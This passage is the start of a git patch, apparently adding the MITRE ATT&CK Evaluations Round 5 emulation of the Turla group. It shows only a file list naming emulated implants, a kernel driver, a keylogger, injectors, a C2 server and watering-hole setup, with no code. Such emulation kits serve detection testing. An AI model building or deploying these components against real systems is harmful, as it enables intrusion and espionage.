From 3e07dc70f55ff8fec901de57e8877d1a470a3ad2 Mon Sep 17 00:00:00 2001 From: "Cat Self @coolestcatiknow" Date: Tue, 19 Sep 2023 22:50:57 -0600 Subject: [PATCH] ATT&CK Evaluations Round 5, 2023 --- README.md | 1 + .../Carbon_Detections_Scenario.md | 963 + .../Carbon_Protections_Scenario.md | 734 + .../Emulation_Plan/Carbon_Scenario/README.md | 38 + turla/Emulation_Plan/README.md | 11 + turla/Emulation_Plan/Snake_Scenario/README.md | 37 + .../Snake_Detections_Scenario.md | 859 + .../Snake_Protections_Scenario.md | 751 + turla/Emulation_Plan/yaml/Carbon_Scenario.md | 69 + turla/Emulation_Plan/yaml/README.md | 104 + turla/Emulation_Plan/yaml/Snake_Scenario.md | 73 + turla/Emulation_Plan/yaml/turla_carbon.yaml | 1004 + turla/Emulation_Plan/yaml/turla_snake.yaml | 1110 + turla/Hashes/hash_SHA256.txt | 534 + turla/Hashes/hash_SHA512.txt | 534 + turla/Intelligence_Summary/.gitkeep | 0 .../Intelligence_Summary.md | 52 + turla/LICENSE | 201 + turla/Operations_Flow/.gitkeep | 0 .../Operations_Flow/Carbon_Operations_Flow.md | 34 + .../Operations_Flow/Snake_Operations_Flow.md | 37 + turla/README.md | 101 + turla/Resources/Binaries/binaries.zip | Bin 0 -> 8715252 bytes .../Carbon/CarbonInstaller/.gitignore | 2 + .../Carbon/CarbonInstaller/Dropper/.gitignore | 1 + .../CarbonInstaller/Dropper/CMakeLists.txt | 51 + .../CarbonInstaller/Dropper/add_resources.py | 160 + .../CarbonInstaller/Dropper/bin/.gitkeep | 0 .../Dropper/include/file_handler.h | 144 + .../Dropper/include/service_handler.h | 179 + .../Dropper/resources/carbon_dc_config | 67 + .../Dropper/resources/carbon_w1_config | 67 + .../Dropper/resources/carbon_w2_config | 67 + .../Dropper/resources/dummy_comms | 1 + .../Dropper/resources/dummy_orch | 1 + .../Dropper/resources/kali1_config | 67 + .../Dropper/src/CMakeLists.txt | 2 + .../Dropper/src/file_handler.cpp | 288 + .../CarbonInstaller/Dropper/src/main.cpp | 50 + .../Dropper/src/service_handler.cpp | 434 + .../Dropper/tests/dummy_components.cpp | 66 + .../Dropper/tests/file_handler_test.cpp | 361 + .../Dropper/tests/service_handler_test.cpp | 625 + .../DummyOrchestrator/bin/.gitkeep | 0 .../CarbonInstaller/Loader/CMakeLists.txt | 48 + .../CarbonInstaller/Loader/bin/.gitkeep | 0 .../CarbonInstaller/Loader/include/service.h | 122 + .../CarbonInstaller/Loader/src/CMakeLists.txt | 5 + .../CarbonInstaller/Loader/src/service.cpp | 285 + .../Loader/tests/service_test.cpp | 410 + .../Carbon/CarbonInstaller/README.md | 185 + turla/Resources/Carbon/CommLib/.gitignore | 3 + turla/Resources/Carbon/CommLib/CMakeLists.txt | 74 + .../Carbon/CommLib/CommLibVersion.h.in | 2 + turla/Resources/Carbon/CommLib/README.md | 201 + turla/Resources/Carbon/CommLib/bin/.gitkeep | 0 .../Resources/Carbon/CommLib/decrypt_logs.py | 66 + .../Carbon/CommLib/include/CommLib.hpp | 73 + .../Carbon/CommLib/include/Config.hpp | 59 + .../Carbon/CommLib/include/EncUtils.hpp | 54 + .../Carbon/CommLib/include/HttpClient.hpp | 125 + .../Carbon/CommLib/include/Locker.hpp | 27 + .../Carbon/CommLib/include/Logging.hpp | 32 + .../Carbon/CommLib/include/NamedPipeP2p.hpp | 75 + .../Carbon/CommLib/include/Tasks.hpp | 120 + .../Resources/Carbon/CommLib/include/Util.hpp | 20 + .../CommLib/include/WindowsWrappers.hpp | 183 + .../Carbon/CommLib/include/configFile.h | 68 + .../Carbon/CommLib/src/CMakeLists.txt | 40 + .../Resources/Carbon/CommLib/src/CommLib.cpp | 825 + .../Resources/Carbon/CommLib/src/EncUtils.cpp | 344 + .../Carbon/CommLib/src/HttpClient.cpp | 307 + turla/Resources/Carbon/CommLib/src/Locker.cpp | 18 + .../Resources/Carbon/CommLib/src/Logging.cpp | 96 + .../Carbon/CommLib/src/NamedPipeP2p.cpp | 476 + turla/Resources/Carbon/CommLib/src/Tasks.cpp | 552 + turla/Resources/Carbon/CommLib/src/Util.cpp | 17 + .../Carbon/CommLib/src/WindowsWrappers.cpp | 181 + .../Carbon/CommLib/src/configFileUtils.cpp | 170 + .../Resources/Carbon/CommLib/src/dllmain.cpp | 47 + .../Carbon/CommLib/test/commlib_test.cc | 211 + .../Carbon/CommLib/test/dummyConfigFile.txt | 67 + .../Carbon/CommLib/test/enc_utils_test.cc | 184 + .../Carbon/CommLib/test/http_test.cc | 120 + .../Carbon/CommLib/test/logging_test.cpp | 70 + .../CommLib/test/named_pipe_p2p_test.cc | 340 + .../Carbon/CommLib/test/tasks_test.cc | 836 + turla/Resources/Carbon/CommLib/test/testing.h | 209 + .../Carbon/CommLib/test/testingUtils.cpp | 35 + .../Carbon/CommLib/test/utils_test.cc | 167 + turla/Resources/Carbon/CommLib/vcpkg.json | 7 + .../Resources/Carbon/Orchestrator/.gitignore | 3 + .../Carbon/Orchestrator/CMakeLists.txt | 64 + .../Orchestrator/OrchestratorVersion.h.in | 2 + turla/Resources/Carbon/Orchestrator/README.md | 231 + .../Orchestrator/bin/configPlainText.xml | 67 + .../Carbon/Orchestrator/bin/setuplst.xml | Bin 0 -> 2648 bytes turla/Resources/Carbon/Orchestrator/build.ps1 | 43 + .../Orchestrator/include/config_encrypt.h | 10 + .../Carbon/Orchestrator/include/enc_handler.h | 20 + .../Carbon/Orchestrator/include/injection.h | 147 + .../Carbon/Orchestrator/include/locker.h | 36 + .../Carbon/Orchestrator/include/mutex.h | 27 + .../Orchestrator/include/orchestrator.h | 131 + .../Carbon/Orchestrator/include/tasking.h | 102 + .../Carbon/Orchestrator/include/util.h | 40 + .../Carbon/Orchestrator/output-itest.ps1 | 128 + .../Carbon/Orchestrator/src/CMakeLists.txt | 5 + .../Carbon/Orchestrator/src/enc_handler.cpp | 116 + .../Carbon/Orchestrator/src/injection.cpp | 619 + .../Carbon/Orchestrator/src/locker.cpp | 39 + .../Carbon/Orchestrator/src/main.cpp | 73 + .../Carbon/Orchestrator/src/mutex.cpp | 51 + .../Carbon/Orchestrator/src/orchestrator.cpp | 136 + .../Carbon/Orchestrator/src/tasking.cpp | 616 + .../Carbon/Orchestrator/src/util.cpp | 271 + .../Carbon/Orchestrator/test/castDecrypt.cpp | 95 + .../Orchestrator/test/config_encrypt.cpp | 132 + .../Carbon/Orchestrator/test/dllspawnnp.cpp | 56 + .../Orchestrator/test/testdllrunner.cpp | 45 + turla/Resources/Carbon/README.md | 147 + .../Defense-Evasion/DLL_Test/DLL_Test.sln | 31 + .../DLL_Test/DLL_Test/DLL_Test.vcxproj | 135 + .../DLL_Test/DLL_Test.vcxproj.filters | 22 + .../DLL_Test/DLL_Test/DLL_Test.vcxproj.user | 4 + .../DLL_Test/DLL_Test/Source.cpp | 34 + .../reflective-guard/DLL_Run/DLL_Run.vcxproj | 136 + .../reflective-guard/DLL_Run/Main.cpp | 71 + .../reflective-guard/Intermediary.sln | 44 + .../reflective-guard/README.md | 123 + .../reflective-guard/Resource.rc | 70 + .../reflective-guard/bin/.gitkeep | 0 .../reflective-guard/dllmain.cpp | 312 + .../reflective-guard/reflective-guard.vcxproj | 170 + .../reflective-guard/resource.h | 16 + .../reflective_injector/Primary.sln | 31 + .../reflective_injector/README.md | 120 + .../reflective_injector/Resource.rc | 69 + .../reflective_injector/Source.cpp | 240 + .../reflective_injector/bin/.gitkeep | 0 .../reflective_injector.vcxproj | 155 + .../reflective_injector.vcxproj.filters | 44 + .../reflective_injector.vcxproj.user | 4 + .../reflective_injector/resource.h | 16 + turla/Resources/EPIC/README.md | 118 + .../EPIC/SimpleDropper/SimpleDropper.sln | 31 + .../SimpleDropper/SimpleDropper/README.md | 100 + .../SimpleDropper/SimpleDropper.rc | 69 + .../SimpleDropper/SimpleDropper.vcxproj | 153 + .../SimpleDropper/SimpleDropper/Source.cpp | 125 + .../SimpleDropper/SimpleDropper/bin/.gitkeep | 0 .../SimpleDropper/SimpleDropper/resource.h | 16 + turla/Resources/EPIC/buildall.ps1 | 250 + turla/Resources/EPIC/payload/.gitignore | 3 + turla/Resources/EPIC/payload/CMakeLists.txt | 124 + .../Resources/EPIC/payload/CMakePresets.json | 61 + turla/Resources/EPIC/payload/README.md | 161 + turla/Resources/EPIC/payload/bin/.gitkeep | 0 .../Resources/EPIC/payload/include/base64_y.h | 37 + turla/Resources/EPIC/payload/include/comms.h | 170 + turla/Resources/EPIC/payload/include/epic.h | 7 + .../Resources/EPIC/payload/include/file_ops.h | 128 + .../EPIC/payload/include/instruction.h | 15 + .../Resources/EPIC/payload/src/CMakeLists.txt | 3 + turla/Resources/EPIC/payload/src/base64_y.cpp | 252 + turla/Resources/EPIC/payload/src/comms.cpp | 691 + turla/Resources/EPIC/payload/src/epic.cpp | 552 + turla/Resources/EPIC/payload/src/file_ops.cpp | 155 + .../EPIC/payload/tests/comms_test.cpp | 258 + turla/Resources/EPIC/payload/vcpkg.json | 11 + .../Resources/Images/CarbonInfrastructure.png | Bin 0 -> 447354 bytes turla/Resources/Images/CarbonOpsFlow.png | Bin 0 -> 357887 bytes .../Images/CarbonSoftwareDiagram.png | Bin 0 -> 399054 bytes .../Resources/Images/SnakeInfrastructure.png | Bin 0 -> 214151 bytes turla/Resources/Images/SnakeOpsFlow.png | Bin 0 -> 114155 bytes .../Resources/Images/SnakeSoftwareDiagram.png | Bin 0 -> 233522 bytes .../Keylogger/Keylogger/Keylogger.sln | 31 + .../Keylogger/Keylogger/Keylogger.vcxproj | 158 + .../Keylogger/Keylogger.vcxproj.filters | 33 + .../Keylogger/Keylogger/keylogger.cpp | 755 + .../Keylogger/Keylogger/bin/.gitkeep | 0 turla/Resources/Keylogger/README.md | 116 + .../LightNeuron/CompanionDLL/.gitignore | 4 + .../LightNeuron/CompanionDLL/CMakeLists.txt | 120 + .../LightNeuron/CompanionDLL/data/rules.xml | 18 + .../LightNeuron/CompanionDLL/data/winmail.dat | 6 + .../LightNeuron/CompanionDLL/include/base64.h | 14 + .../CompanionDLL/include/exdbdata.h | 54 + .../CompanionDLL/include/pugiconfig.hpp | 77 + .../CompanionDLL/include/pugixml.hpp | 1506 + .../LightNeuron/CompanionDLL/include/stego.h | 59 + .../CompanionDLL/src/CMakeLists.txt | 0 .../LightNeuron/CompanionDLL/src/base64.cpp | 97 + .../LightNeuron/CompanionDLL/src/exdbdata.cpp | 357 + .../LightNeuron/CompanionDLL/src/pugixml.cpp | 13160 + .../LightNeuron/CompanionDLL/src/rules.xml | 27 + .../LightNeuron/CompanionDLL/src/stego.cpp | 503 + .../CompanionDLL/tests/snake_extract_64.txt | 1638 + .../LightNeuron/CompanionDLL/tests/tests.cpp | 57 + .../CompanionDLL/tests/winmail.dat | 2 + .../CompanionDLL/util/analyze_image.cpp | 62 + .../LightNeuron/CompanionDLL/vcpkg.json | 10 + turla/Resources/LightNeuron/README.md | 228 + .../LightNeuron/TransportAgent/.gitignore | 4 + .../ConnectionFilteringAgentTests.ps1 | 232 + ...ort.Agent.ConnectionFiltering.Tests.csproj | 24 + .../TestIngestStruct/CMakeLists.txt | 15 + .../TestIngestStruct/CMakePresets.json | 61 + .../TestIngestStruct/TestIngestStruct.cpp | 35 + .../TestIngestStruct/TestIngestStruct.h | 19 + .../msiex_test.ps1 | 7 + .../snake2_hat.jpg | Bin 0 -> 93303 bytes .../uninstall-transport-agent.ps1 | 2 + .../ConnectionFilteringAgent.cs | 341 + ...Transport.Agent.ConnectionFiltering.csproj | 40 + .../TransportAgent/TransportAgent.sln | 31 + turla/Resources/LightNeuron/msiex.ps1 | 17 + turla/Resources/LightNeuron/setup.ps1 | 50 + turla/Resources/Mimikatz/README.md | 118 + turla/Resources/Penquin/README.md | 345 + turla/Resources/Penquin/build_Penquin.sh | 199 + turla/Resources/Penquin/crypt.h | 67 + .../Penquin/execution_penquin_test.sh | 201 + turla/Resources/Penquin/main.c | 248 + turla/Resources/Penquin/requirements.txt | 3 + turla/Resources/Penquin/sendPacket.py | 159 + turla/Resources/Penquin/sniff.c | 541 + turla/Resources/Snake/.gitignore | 398 + turla/Resources/Snake/README.md | 129 + turla/Resources/Snake/SnakeDriver/README.md | 90 + .../Snake/SnakeDriver/SnakeDriver.sln | 170 + .../SnakeDriver/SnakeDriver/SnakeDriver.inf | 30 + .../SnakeDriver/SnakeDriver.vcxproj | 249 + .../SnakeDriver/SnakeDriver.vcxproj.filters | 94 + .../Snake/SnakeDriver/SnakeDriver/apc.cpp | 74 + .../Snake/SnakeDriver/SnakeDriver/apc.hpp | 62 + .../Snake/SnakeDriver/SnakeDriver/attach.cpp | 36 + .../Snake/SnakeDriver/SnakeDriver/attach.hpp | 20 + .../Snake/SnakeDriver/SnakeDriver/common.cpp | 17 + .../Snake/SnakeDriver/SnakeDriver/common.hpp | 32 + .../Snake/SnakeDriver/SnakeDriver/driver.c | 257 + .../Snake/SnakeDriver/SnakeDriver/driver.h | 27 + .../SnakeDriver/SnakeDriver/filesystem.cpp | 72 + .../SnakeDriver/SnakeDriver/filesystem.hpp | 4 + .../Snake/SnakeDriver/SnakeDriver/hooks.c | 392 + .../Snake/SnakeDriver/SnakeDriver/hooks.h | 185 + .../Snake/SnakeDriver/SnakeDriver/inject.cpp | 129 + .../Snake/SnakeDriver/SnakeDriver/inject.hpp | 22 + .../Snake/SnakeDriver/SnakeDriver/payload.hpp | 324870 +++++++++++++++ .../Snake/SnakeDriver/SnakeDriver/pe.cpp | 35 + .../Snake/SnakeDriver/SnakeDriver/pe.hpp | 213 + .../Snake/SnakeDriver/SnakeDriver/pidlookup.c | 125 + .../Snake/SnakeDriver/SnakeDriver/pidlookup.h | 31 + .../Snake/SnakeDriver/SnakeDriver/process.cpp | 78 + .../Snake/SnakeDriver/SnakeDriver/process.hpp | 57 + .../Snake/SnakeDriver/SnakeDriver/wfp.cpp | 423 + .../Snake/SnakeDriver/SnakeDriver/wfp.hpp | 44 + .../SnakeDriver/SnakeTester/SnakeTester.cpp | 119 + .../SnakeTester/SnakeTester.vcxproj | 267 + .../SnakeTester/SnakeTester.vcxproj.filters | 22 + .../SnakeDriver/libinfinityhook/README.md | 14 + .../SnakeDriver/libinfinityhook/hde/hde64.cpp | 338 + .../SnakeDriver/libinfinityhook/hde/hde64.h | 112 + .../SnakeDriver/libinfinityhook/hde/pstdint.h | 37 + .../SnakeDriver/libinfinityhook/hde/table64.h | 74 + .../Snake/SnakeDriver/libinfinityhook/img.cpp | 229 + .../Snake/SnakeDriver/libinfinityhook/img.h | 32 + .../libinfinityhook/infinityhook.cpp | 570 + .../libinfinityhook/infinityhook.h | 39 + .../libinfinityhook/libinfinityhook.vcxproj | 391 + .../libinfinityhook.vcxproj.filters | 73 + .../Snake/SnakeDriver/libinfinityhook/mm.cpp | 51 + .../Snake/SnakeDriver/libinfinityhook/mm.h | 26 + .../Snake/SnakeDriver/libinfinityhook/ntint.h | 445 + .../SnakeDriver/libinfinityhook/stdafx.cpp | 16 + .../SnakeDriver/libinfinityhook/stdafx.h | 30 + .../Snake/SnakeDriver/run_driver.ps1 | 31 + .../Snake/SnakeDriver/test_driver.ps1 | 98 + .../Resources/Snake/SnakeInstaller/.gitignore | 4 + .../Snake/SnakeInstaller/CMakeLists.txt | 13 + .../Snake/SnakeInstaller/CMakePresets.json | 67 + .../Resources/Snake/SnakeInstaller/README.md | 230 + .../Snake/SnakeInstaller/data/.gitkeep | 0 .../SnakeInstaller/external/hde64/hde64.c | 351 + .../SnakeInstaller/external/hde64/hde64.h | 112 + .../SnakeInstaller/external/hde64/table64.h | 74 + .../Snake/SnakeInstaller/src/CMakeLists.txt | 38 + .../Snake/SnakeInstaller/src/ci/ci.cpp | 358 + .../Snake/SnakeInstaller/src/ci/ci.hpp | 22 + .../Snake/SnakeInstaller/src/ci/nt.cpp | 74 + .../Snake/SnakeInstaller/src/ci/nt.hpp | 74 + .../Snake/SnakeInstaller/src/common/error.cpp | 117 + .../Snake/SnakeInstaller/src/common/error.hpp | 43 + .../SnakeInstaller/src/common/handle.hpp | 95 + .../SnakeInstaller/src/common/string.cpp | 16 + .../SnakeInstaller/src/common/string.hpp | 9 + .../SnakeInstaller/src/driver/driver.cpp | 208 + .../SnakeInstaller/src/driver/driver.hpp | 44 + .../Snake/SnakeInstaller/src/driver/gb.hpp | 79 + .../Snake/SnakeInstaller/src/main.cpp | 232 + .../SnakeInstaller/src/privesc/privesc.cpp | 448 + .../SnakeInstaller/src/privesc/privesc.hpp | 27 + .../SnakeInstaller/src/resource/resource.cpp | 188 + .../SnakeInstaller/src/resource/resource.hpp | 26 + .../SnakeInstaller/src/resource/resource.rc | 5 + .../SnakeInstaller/src/resource/resources.hpp | 4 + .../Snake/SnakeInstaller/tools/launch.vs.json | 13 + .../Resources/Snake/SnakeInstaller/vcpkg.json | 7 + turla/Resources/Snake/UserModule/.gitignore | 2 + .../Resources/Snake/UserModule/CMakeLists.txt | 72 + turla/Resources/Snake/UserModule/README.md | 263 + .../Snake/UserModule/include/api_wrappers.h | 723 + .../Snake/UserModule/include/comms_http.h | 111 + .../Snake/UserModule/include/comms_pipe.h | 70 + .../Resources/Snake/UserModule/include/core.h | 39 + .../Snake/UserModule/include/enc_handler.h | 36 + .../Snake/UserModule/include/execute.h | 63 + .../Snake/UserModule/include/file_handler.h | 37 + .../Snake/UserModule/include/instruction.h | 40 + .../Snake/UserModule/include/logging.h | 68 + .../UserModule/include/usermodule_errors.h | 43 + .../Resources/Snake/UserModule/include/util.h | 20 + .../Snake/UserModule/src/CMakeLists.txt | 25 + .../Snake/UserModule/src/api_wrappers.cpp | 684 + .../Snake/UserModule/src/comms_http.cpp | 656 + .../Snake/UserModule/src/comms_pipe.cpp | 339 + turla/Resources/Snake/UserModule/src/core.cpp | 751 + .../Snake/UserModule/src/dllmain.cpp | 52 + .../Snake/UserModule/src/enc_handler.cpp | 185 + .../Snake/UserModule/src/execute.cpp | 427 + .../Snake/UserModule/src/execute_token.cpp | 545 + .../Snake/UserModule/src/file_handler.cpp | 55 + .../Snake/UserModule/src/instruction.cpp | 162 + .../Snake/UserModule/src/logging.cpp | 214 + turla/Resources/Snake/UserModule/src/util.cpp | 17 + .../UserModule/tests/comms_http_test.cpp | 1302 + .../UserModule/tests/comms_pipe_test.cpp | 223 + .../Snake/UserModule/tests/core_test.cpp | 215 + .../UserModule/tests/enc_handler_test.cpp | 91 + .../Snake/UserModule/tests/execute_test.cpp | 1896 + .../UserModule/tests/instruction_test.cpp | 183 + .../Snake/UserModule/tests/logging_test.cpp | 109 + .../Snake/UserModule/tests/test_util.h | 281 + .../Snake/UserModule/tests/util_test.cpp | 21 + turla/Resources/Snake/build_installer.bat | 3 + turla/Resources/Snake/buildall.ps1 | 196 + turla/Resources/Snake/cleanup.ps1 | 44 + turla/Resources/Snake/gen_h_file.py | 94 + .../caldera_port/send-email-to-egle.ps1 | 101 + .../caldera_port/send-email-to-zilvinas.ps1 | 105 + .../cleanup/Carbon/carbon_cleanup.ps1 | 142 + turla/Resources/cleanup/EPIC/epic_cleanup.ps1 | 105 + .../LightNeuron/lightneuron_cleanup.ps1 | 47 + .../cleanup/Penquin/cleanup_penquin.sh | 217 + turla/Resources/cleanup/README.md | 80 + turla/Resources/cleanup/Snake/.gitkeep | 0 .../Resources/cleanup/Snake/snake_cleanup.ps1 | 131 + turla/Resources/control_server/LICENSE | 201 + turla/Resources/control_server/Makefile | 2 + turla/Resources/control_server/README.md | 233 + .../Resources/control_server/config/config.go | 135 + .../control_server/config/config_test.go | 247 + .../control_server/config/handler_config.yml | 26 + .../control_server/config/restAPI_config.yml | 3 + .../control_server/config/test_config.yml | 3 + .../control_server/config/turla_day1.yml | 11 + .../control_server/config/turla_day2.yml | 22 + .../control_server/display/display.go | 34 + .../control_server/display/display_test.go | 1 + .../Resources/control_server/evalsC2client.py | 374 + .../control_server/exampleImplant.py | 155 + turla/Resources/control_server/files/.gitkeep | 0 turla/Resources/control_server/go.mod | 27 + turla/Resources/control_server/go.sum | 62 + .../handlers/HandlerCreationGuide.md | 125 + .../control_server/handlers/carbon/README.md | 124 + .../handlers/carbon/carbon_crypto.go | 164 + .../handlers/carbon/carbon_crypto_test.go | 183 + .../handlers/carbon/carbon_http.go | 696 + .../handlers/carbon/carbon_http_test.go | 860 + .../control_server/handlers/epic/README.md | 163 + .../handlers/epic/command_buffer.go | 86 + .../handlers/epic/command_buffer_test.go | 92 + .../handlers/epic/data_transform.go | 311 + .../handlers/epic/data_transform_test.go | 85 + .../control_server/handlers/epic/epic.go | 742 + .../control_server/handlers/epic/epic_test.go | 668 + .../handlers/epic/templates/home.html | 9 + .../control_server/handlers/handlers.go | 63 + .../control_server/handlers/handlers_test.go | 132 + .../handlers/lightneuron/README.md | 114 + .../handlers/lightneuron/extract/.gitkeep | 0 .../handlers/lightneuron/lightneuron.go | 893 + .../handlers/lightneuron/lightneuron_test.go | 181 + .../handlers/lightneuron/recipients.txt | 1 + .../handlers/lightneuron/snake.jpg | Bin 0 -> 93303 bytes .../handlers/lightneuron/snake_extract.jpg | Bin 0 -> 93421 bytes .../handlers/lightneuron/snake_modified.jpg | Bin 0 -> 93361 bytes .../control_server/handlers/snake/README.md | 107 + .../handlers/snake/decrypt_logs.py | 46 + .../handlers/snake/snake_http.go | 729 + .../handlers/snake/snake_http_test.go | 712 + .../control_server/handlers/util/util.go | 90 + .../control_server/handlers/util/util_test.go | 86 + .../Resources/control_server/logger/logger.go | 138 + .../control_server/logger/logger_test.go | 164 + turla/Resources/control_server/main.go | 76 + .../Resources/control_server/requirements.txt | 1 + .../control_server/restapi/restapi.go | 543 + .../control_server/restapi/restapi_test.go | 1143 + .../restapi/util/restapi_util.go | 134 + .../control_server/sessions/sessions.go | 210 + .../control_server/sessions/sessions_test.go | 216 + .../control_server/sslcerts/sslcerts.go | 28 + turla/Resources/control_server/tasks/tasks.go | 95 + .../control_server/tasks/tasks_test.go | 144 + .../test_payloads/carbon/examplepayload.txt | 1 + .../test_payloads/epic/hello_world.elf | Bin 0 -> 16616 bytes .../test_payloads/hello_world.elf | Bin 0 -> 16616 bytes .../test_payloads/snake/test_payload | 1 + .../control_server/test_utils/test_utils.go | 70 + turla/Resources/payloads/.gitkeep | 0 turla/Resources/setup/CertificateAuthority.md | 65 + turla/Resources/setup/DNS.md | 7 + turla/Resources/setup/EmailFlow.md | 28 + turla/Resources/setup/GettingStarted.md | 82 + .../setup/Infrastructure-Overview.md | 100 + turla/Resources/setup/README.md | 81 + turla/Resources/setup/Setup-Carbon.md | 100 + turla/Resources/setup/Setup-RedTeam.md | 43 + turla/Resources/setup/Setup-Snake.md | 85 + turla/Resources/setup/Setup-Support.md | 74 + turla/Resources/setup/TrafficRedirection.md | 25 + turla/Resources/setup/WindowsService.md | 39 + .../assets/Turla-Infrastructure-Diagram.png | Bin 0 -> 312315 bytes .../setup/assets/mailredirect-diagram.png | Bin 0 -> 198703 bytes ...enable-remote-desktop-for-domain-users.ps1 | 27 + .../files/carbon/all-join-carbon-domain.ps1 | 49 + .../bannik-add-computer-descriptions.ps1 | 26 + .../carbon/bannik-create-carbon-domain.ps1 | 26 + .../carbon/bannik-create-carbon-users.ps1 | 87 + .../bannik-set-adalwolfa-group-membership.ps1 | 25 + .../carbon/bannik-set-dns-resolution.ps1 | 20 + ...ftragerin-create-carbon-exchange-admin.ps1 | 28 + .../carbon/brieftragerin-install-exchange.ps1 | 70 + .../setup/files/carbon/kagarov-join-domain.sh | 42 + .../setup/files/carbon/kagarov-setup.sh | 54 + .../carbon/khabibulin-set-local-admin.ps1 | 22 + .../setup/files/certificates/ca-key.pem | 27 + .../setup/files/certificates/ca.json | 16 + .../Resources/setup/files/certificates/ca.pem | 23 + .../setup/files/certificates/cfssl.json | 54 + .../files/certificates/host-1-server-key.pem | 27 + .../files/certificates/host-1-server.pem | 26 + .../setup/files/certificates/host1.json | 20 + .../files/certificates/intermediate-ca.json | 19 + .../certificates/intermediate_ca-key.pem | 27 + .../files/certificates/intermediate_ca.pem | 25 + .../files/common/choco-install-packages.ps1 | 24 + .../setup/files/common/chocolatey-install.ps1 | 36 + .../setup/files/common/configure-jumpbox.ps1 | 35 + .../common/disable-edge-download-ask.ps1 | 38 + .../files/common/disable-edge-first-run.ps1 | 39 + .../files/common/disable-edge-update.ps1 | 38 + .../setup/files/common/disable-firewall.ps1 | 20 + .../files/common/disable-smartscreen.ps1 | 42 + .../enable-exchange-for-domain-users.ps1 | 25 + .../common/enable-remote-scheduled-tasks.ps1 | 30 + .../files/common/set-ad-dns-forwarding.ps1 | 34 + .../setup/files/range_validation.ps1 | 295 + .../files/snake/all-join-snake-domain.ps1 | 48 + ...enable-remote-desktop-for-domain-users.ps1 | 26 + .../snake/azuolas-enable-fileserver-admin.ps1 | 21 + .../snake/berlios-create-fileserver-admin.ps1 | 29 + .../snake/berlios-create-snake-domain.ps1 | 27 + .../snake/berlios-create-snake-users.ps1 | 94 + .../berlios-set-computer-descriptions.ps1 | 27 + .../snake/berlios-set-dns-resolution.ps1 | 20 + ...ble-remotedesktop-for-snake-fileserver.ps1 | 27 + .../files/snake/berzas-install-admodule.ps1 | 21 + .../files/snake/berzas-set-local-admin.ps1 | 22 + .../drebule-create-snake-exchange-admin.ps1 | 34 + .../drebule-disable-wmic-integrity-check.ps1 | 41 + ...able-remote-desktop-for-exchange-admin.ps1 | 24 + .../files/snake/drebule-install-exchange.ps1 | 53 + .../files/support/dns/install-unbound-dns.sh | 29 + .../files/support/dns/qname-minimization.conf | 10 + .../dns/root-auto-trust-anchor-file.conf | 6 + .../files/support/dns/unbound_access.conf | 6 + .../setup/files/support/dns/unbound_zone.conf | 62 + .../kali/kali-home-cradwell-procmailrc | 11 + .../support/kali/kali-install-custom-certs.sh | 112 + .../files/support/kali/kali-postfix-conf | 50 + .../setup/files/support/kali/kali-prereqs.sh | 38 + .../files/support/kali/kali-send-email.sh | 55 + .../kali/kali-set-nato-int-redirect.sh | 65 + .../files/support/kali/kali-update-wp.sh | 77 + .../setup/files/support/kali/kali-update.sh | 136 + .../setup/files/support/mail/etc_mailname | 1 + .../files/support/mail/etc_postfix_main.cf | 28 + .../files/support/mail/etc_postfix_virtual | 2 + .../files/support/mail/stamp-configure-dns.sh | 22 + .../disable-traffic-forwarding-rules.sh | 25 + .../enable-traffic-forwarding-rules-amalie.sh | 30 + .../enable-traffic-forwarding-rules-bolt.sh | 30 + ...ble-traffic-forwarding-rules-thunderbug.sh | 30 + .../print-traffic-forwarding-rules.sh | 22 + .../setup/files/watering_hole/README.md | 252 + .../setup/files/watering_hole/beef_setup.py | 71 + .../setup/files/watering_hole/counter.js | 1 + .../files/watering_hole/fingerprinting.py | 70 + .../setup/files/watering_hole/flash.txt | 1 + .../setup/files/watering_hole/flash_prep.py | 29 + .../files/watering_hole/flash_update.html | 7 + .../setup/files/watering_hole/in-range.html | 19 + .../setup/files/watering_hole/ip_range.py | 75 + .../files/watering_hole/out-of-range.html | 1 + .../setup/files/watering_hole/redirection.py | 40 + .../setup/files/watering_hole/session.js | 766 + .../setup/files/watering_hole/wordpress.conf | 14 + .../files/watering_hole/wordpress_cleanup.sh | 24 + .../files/watering_hole/wordpress_setup.sh | 80 + .../setup/files/watering_hole/wp-config.php | 100 + .../setup/files/windows-service/dist/.gitkeep | 0 .../setup/files/windows-service/viperVpn.py | 104 + .../setup/files/windows-service/viperVpn.spec | 44 + .../evals-ranges/.terraform-docs.yml | 13 + .../setup/terraform/evals-ranges/README.md | 157 + .../setup/terraform/evals-ranges/backend.tf | 10 + .../setup/terraform/evals-ranges/carbon.tf | 113 + .../evals-ranges/deploy.auto.tfvars.template | 10 + .../setup/terraform/evals-ranges/locals.tf | 12 + .../setup/terraform/evals-ranges/main.tf | 237 + .../setup/terraform/evals-ranges/outputs.tf | 0 .../setup/terraform/evals-ranges/provider.tf | 11 + .../setup/terraform/evals-ranges/snake.tf | 102 + .../setup/terraform/evals-ranges/support.tf | 149 + .../setup/terraform/evals-ranges/variables.tf | 443 + .../setup/terraform/evals-ranges/versions.tf | 11 + .../modules/linuxsrv-latest-static/main.tf | 56 + .../modules/linuxsrv-latest-static/outputs.tf | 8 + .../linuxsrv-latest-static/variables.tf | 111 + .../linuxsrv-latest-static/versions.tf | 7 + .../setup/terraform/modules/rgroup/main.tf | 11 + .../setup/terraform/modules/rgroup/outputs.tf | 7 + .../terraform/modules/rgroup/variables.tf | 33 + .../terraform/modules/rgroup/versions.tf | 7 + .../files/FirstLogonCommands.xml | 17 + .../windesk-latest-static/files/winrm.ps1 | 19 + .../modules/windesk-latest-static/main.tf | 78 + .../modules/windesk-latest-static/outputs.tf | 8 + .../windesk-latest-static/variables.tf | 104 + .../modules/windesk-latest-static/versions.tf | 7 + .../files/FirstLogonCommands.xml | 17 + .../winsrv-latest-static/files/winrm.ps1 | 18 + .../modules/winsrv-latest-static/main.tf | 83 + .../modules/winsrv-latest-static/outputs.tf | 8 + .../modules/winsrv-latest-static/variables.tf | 134 + .../modules/winsrv-latest-static/versions.tf | 7 + turla/yara-rules/.gitkeep | 0 turla/yara-rules/yara_rules.yar | 179 + 561 files changed, 413051 insertions(+) create mode 100644 turla/Emulation_Plan/Carbon_Scenario/Carbon_Detections_Scenario.md create mode 100644 turla/Emulation_Plan/Carbon_Scenario/Carbon_Protections_Scenario.md create mode 100644 turla/Emulation_Plan/Carbon_Scenario/README.md create mode 100644 turla/Emulation_Plan/README.md create mode 100644 turla/Emulation_Plan/Snake_Scenario/README.md create mode 100644 turla/Emulation_Plan/Snake_Scenario/Snake_Detections_Scenario.md create mode 100644 